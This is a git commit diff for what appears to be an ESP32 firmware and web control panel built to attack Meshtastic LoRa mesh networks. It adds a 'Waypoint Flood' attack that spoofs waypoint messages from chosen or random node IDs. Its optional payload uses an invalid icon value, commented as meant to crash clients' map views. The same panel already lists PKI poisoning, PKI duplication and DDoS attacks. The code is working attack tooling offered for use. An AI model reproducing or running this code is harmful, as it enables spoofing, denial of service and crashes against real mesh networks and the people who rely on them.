waypoint flood support. with added client crash option

This commit is contained in:
HTotoo
2025-11-02 11:51:10 +01:00
parent 0841068700
commit 3587f244a2
4 changed files with 72 additions and 2 deletions
+27
View File
@@ -281,6 +281,7 @@
<option value="pki_poison">PKI Poison</option>
<option value="pki_dupe">PKI Duplication</option>
<option value="ddos">DDoS</option>
<option value="waypoint_flood">Waypoint Flood</option>
</select>
<p class="note">Note: A Target Node ID of <code>!ffffffff</code> means the attack will cycle through all
seen nodes.</p>
@@ -349,6 +350,25 @@
</div>
</div>
<div id="params-waypoint_flood" class="param-group">
<p>Floods the network with waypoints from a selected (or randomly selected) node.</p>
<label for="waypointflood-target-id">Source Node ID</label>
<div class="input-group">
<input type="text" id="waypoint_flood-target-id" value="!ffffffff">
<button type="button" class="btn-all">All</button>
</div>
<div class="coord-grid">
<div><label for="min-lat">Min Latitude</label><input type="number" id="min-lat" value="47.0"></div>
<div><label for="max-lat">Max Latitude</label><input type="number" id="max-lat" value="48.0"></div>
<div><label for="min-lon">Min Longitude</label><input type="number" id="min-lon" value="18.0"></div>
<div><label for="max-lon">Max Longitude</label><input type="number" id="max-lon" value="20.0"></div>
</div>
<div class="input-group">
<label for="flood-clientcrash">Crash client on map view</label>
<input type="checkbox" id="flood-clientcrash">
</div>
</div>
<button id="start-attack-btn">Start Selected Attack</button>
<button id="stop-attack-btn">Stop Current Attack</button>
</div>
@@ -591,6 +611,13 @@
command.params.target_id = document.getElementById('pkipoison-target-id').value;
} else if (attack === 'pki_dupe') {
command.params.target_id = document.getElementById('pkidupe-target-id').value;
} else if (attack === 'waypoint_flood') {
command.params.target_id = document.getElementById('waypoint_flood-target-id').value;
command.params.min_lat = parseFloat(document.getElementById('min-lat').value);
command.params.max_lat = parseFloat(document.getElementById('max-lat').value);
command.params.min_lon = parseFloat(document.getElementById('min-lon').value);
command.params.max_lon = parseFloat(document.getElementById('max-lon').value);
command.params.crashclient = document.getElementById('flood-clientcrash').checked ? 1 : 0;
}
logToDebug(`▶️ Starting attack: ${attack}`);
+24
View File
@@ -187,6 +187,28 @@ void TMAttack::atkRndNode() {
sendDebugMessage("Sent fake node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude));
}
void TMAttack::atkWaypointFlood() {
uint32_t srcnode = target;
if (srcnode == 0xffffffff) {
srcnode = getRandomTarget();
}
if (srcnode == 0) {
srcnode = esp_random();
}
MC_Waypoint waypoint = {};
uint32_t icon = 0;
if (flood_clientcrash == 1) {
icon = esp_random() + 30; // invalid icon to crash the client
}
uint32_t expire = 1769994122; // 2026-02-02, todo add as a parameter
float latitude = min_lat + static_cast<double>(rand()) / (static_cast<double>(RAND_MAX / (max_lat - min_lat)));
float longitude = min_lon + static_cast<double>(rand()) / (static_cast<double>(RAND_MAX / (max_lon - min_lon)));
uint32_t wpnum = esp_random();
MeshtasticCompactHelpers::WaypointBuilder(waypoint, esp_random(), latitude, longitude, "WP-" + std::to_string(wpnum), "WP-" + std::to_string(wpnum), expire, icon);
meshtasticCompact->SendWaypointMessage(waypoint, 0xffffffff, 8, srcnode);
sendDebugMessage("Sent waypoint from node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude));
}
void TMAttack::loop() {
if (meshtasticCompact == nullptr) {
return; // Radio not set
@@ -211,5 +233,7 @@ void TMAttack::loop() {
atkDdos();
} else if (current_attack == AttackType::PKI_DUPE) {
atkPkiDupe();
} else if (current_attack == AttackType::WAYPOINT_FLOOD) {
atkWaypointFlood();
}
}
+5 -1
View File
@@ -13,7 +13,8 @@ enum class AttackType {
NAME_CHANGE,
PKI_POISON,
DDOS,
PKI_DUPE
PKI_DUPE,
WAYPOINT_FLOOD
};
class TMAttack {
@@ -67,6 +68,8 @@ class TMAttack {
return "ddos";
case AttackType::PKI_DUPE:
return "pki_dupe";
case AttackType::WAYPOINT_FLOOD:
return "waypoint_flood";
default:
return "Unknown";
}
@@ -81,6 +84,7 @@ class TMAttack {
void atkPkiPoison();
void atkDdos();
void atkPkiDupe();
void atkWaypointFlood();
MeshtasticCompact* meshtasticCompact = nullptr;
std::string emoji = "😈";
+16 -1
View File
@@ -92,7 +92,7 @@ void app_main(void) {
ESP_LOGI(TAG, "Loading radio config.");
config.load_radio(lora_config);
meshtasticCompact.loadNodeDb();
meshtasticCompact.set_ok_to_mqtt(false);
ESP_LOGI(TAG, "Radio initializing...");
meshtasticCompact.RadioInit(RadioType::SX1262, radio_pins, lora_config);
ESP_LOGI(TAG, "Radio initialized.");
@@ -236,6 +236,21 @@ void handle_start_attack(const char* attack_type, JSON_Object* params) {
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_dupe\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
if (strcmp(attack_type, "waypoint_flood") == 0 && params != NULL) {
const char* target_id = json_object_get_string(params, "target_id");
ESP_LOGI("WEB", "Waypoint Flood Attack Params: target_id=%s", target_id);
tmAttack.setTarget(getNodeIdFromCh(target_id)); // not target, but souerce of flood
tmAttack.setAttackType(AttackType::WAYPOINT_FLOOD);
double min_lat = json_object_get_number(params, "min_lat");
double max_lat = json_object_get_number(params, "max_lat");
double min_lon = json_object_get_number(params, "min_lon");
double max_lon = json_object_get_number(params, "max_lon");
uint8_t crashclient = (uint8_t)json_object_get_number(params, "crashclient");
tmAttack.setFloodClientCrash(crashclient);
tmAttack.setPosParams(min_lat, max_lat, min_lon, max_lon);
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"waypoint_flood\"}";
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
}
}
void handle_set_config(JSON_Object* params) {